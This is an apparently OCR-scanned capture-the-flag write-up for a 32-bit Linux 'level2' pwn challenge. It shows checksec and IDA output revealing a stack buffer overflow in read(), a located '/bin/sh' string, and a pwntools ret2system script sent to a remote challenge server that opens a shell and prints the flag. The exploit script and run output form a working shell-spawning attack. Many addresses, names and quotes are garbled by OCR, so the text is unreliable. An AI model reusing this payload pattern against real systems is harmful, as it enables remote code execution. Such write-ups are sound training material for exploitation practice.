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smile@ubuntu:~/Desktop/pwn/level2s file 1ab77cB73b4f4524b73e086d063FB84e
1ab77c073b4f4524b73e086d0637884e: ELF 32-bit LSB executable, Intel 80386, versio
n 1 (5Ysv), dynamically linked, interpreter flib/ld-linux.so.2, for GNU/Linux 2.
6.32, BuildID[sha1l]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c@, not stripped
smile@ubuntu:~/Desktop/pwn/level2s |J

smile@ubuntu: e ./checksec --file='/home/smile/Desktop/pwn/level2/1ab77c073b4f4524b73e086d0637884e"
R { NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
P <] 1
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@S @ smile@ubuntu: ~/Desktop/pwn/flevel2
smile@ubuntu:~/Desktop/pwn/level2$ .[/1ab77c073b4f4524b73e086d063T884e
Hello World!
IDAF5
EFunctions window O & x | I]]A View—h | Pseudocode—AD Estrings window | @Hex View—1 |
Funciion name - lint _ cdecl main(int argc, const char **argv, const char **envp)
2q
_ emon_start_ 3 wulnerable function();
—_libe_start _main 4  system{"echo 'Hello wWorld!'");
_start (= 5  return 8;
_ x86_get_pe_thunk bx 6}

deregister_tm_clones
register_tm_clones
_do_global dtors_aux
frame_dummy
vulnerable_function

main

m

_libe_c=zu_init
_libe_c=u_fim
_term_proc
read

system

_libec_start _main
__agmon_start b
T b
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1ssize_t vulnerable_function()
2q
3 char buf; // [esp+@h] [ebp-B88h]
5  system("echo Input:™);
6  return read(@, &buf, @x1@6u);
7}
shift+F12, &3 1 “/bin/sh”
Address Length Type String
‘s’ LOAD: 03045154 00000013 C Flibfld-limmz. =0. 2
‘s’ LOAD: 03048220 00000008 C libe. 0.6
‘s’ LOAD: 03048237 0000000F C _I0_=tdin_uzed
‘s’ LOAD: 03045246 000o0000s C read
‘s’ LOAD: 03045248 00000007 C system
‘s’ LOAD: 03048252 Qoooo01z C _libe_start_main
5| LOAD: 03045264 0000000F C _ gmon_start
‘s'| LOAD:0S046273 00000004 C GLIEC_2.0
‘g’ . rodata: 05048540 0ooooooc C echo Input:
‘g’ . rodata: 05048540 00000014 C echo "Hello World!”
IE . eh_frame:0G0455CH 00000005 C JREENT
‘s'| . data:O0G04A0Z24 00000008 C fbinfsh
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Funclion name Segment Start - 1int system{const char *command)
E sub_{0453500 .plt 05045300 i ; { return system{command);
|| _read .plt 08048310 4%
| _system .plt 08048320

L_r: __ gmon_start .plt 03043330

L_r: _ libec_start _main .plt 08048340

L_r: _start . text OE045350

L_r: _ xB86_get_pc_thurk bx Ctext 03043350

L_r: deregizter_tm_clones Ctext 03043390 A

L_r: register_tm_clones Ctext 030433C0 3

L_r: _da_global dtors_aux Ctext 03045400

L_r: frame_dummy Ctext 030453420

L_r: vulnerable_function Ctext 050453445

L_r: main . text 08048430

L_r: _libe_c=u_init Ctext 030434C0

L_r: _libe_c=u_fima Ctext 03043520

L_r: _term_proe Eini 05045524 |4

L_r: read extern 0804A034

L_r: system extern 0804A038
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from pwn import *

p=remote('111.200.241.244"',57421)
#tp=process('./1ab77c073b4f4524b73e086d063884e")
elf=ELF('./1ab77c073b4f4524b73e086d0631884e")
system_addr=elf.symbols['system']

binsh_addr=0x0804A024
payload=b'A"'*(0x88+0x4)+p32(system_addr)+p32(0)+p32(binsh_addr)
#p32(0) Nsystem() B EKIR Bl ik

p.recvuntil("Input:\n")

p.sendline(payload)

p.interactive()

smile@ubuntu:~/Desktop/pwn/level2$ python3 1.py
[+] Opening connection to 111.200.241.244 on port 57421: Done
[*1 '/home/smile/Desktop/pwn/level2/1ab77c073baf4524b73e086d063T884e’
Arch: i386-32-1ittle
RELRO: Partial RELRO
Stack:
NX:
PIE:
[*] Switching to interactive mode
1s
bin

cyberpeace{79c81501dbd20dd6c9fc620bbcadc452}
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